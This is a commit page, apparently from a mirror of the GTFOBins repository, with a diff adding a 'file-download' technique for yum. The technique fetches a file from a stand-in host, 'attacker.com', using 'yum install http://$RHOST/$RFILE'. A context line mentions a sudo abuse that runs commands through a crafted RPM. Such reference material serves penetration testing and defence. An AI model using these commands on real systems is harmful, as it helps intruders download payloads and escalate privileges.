mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add file-download to yum
This commit is contained in:
		@@ -1,5 +1,11 @@
 | 
			
		||||
---
 | 
			
		||||
functions:
 | 
			
		||||
  file-download:
 | 
			
		||||
    - description: Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR0O4h/`.
 | 
			
		||||
      code: |
 | 
			
		||||
        RHOST=attacker.com
 | 
			
		||||
        RFILE=file_to_get.rpm
 | 
			
		||||
        yum install http://$RHOST/$RFILE
 | 
			
		||||
  sudo:
 | 
			
		||||
    - description: |
 | 
			
		||||
        It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user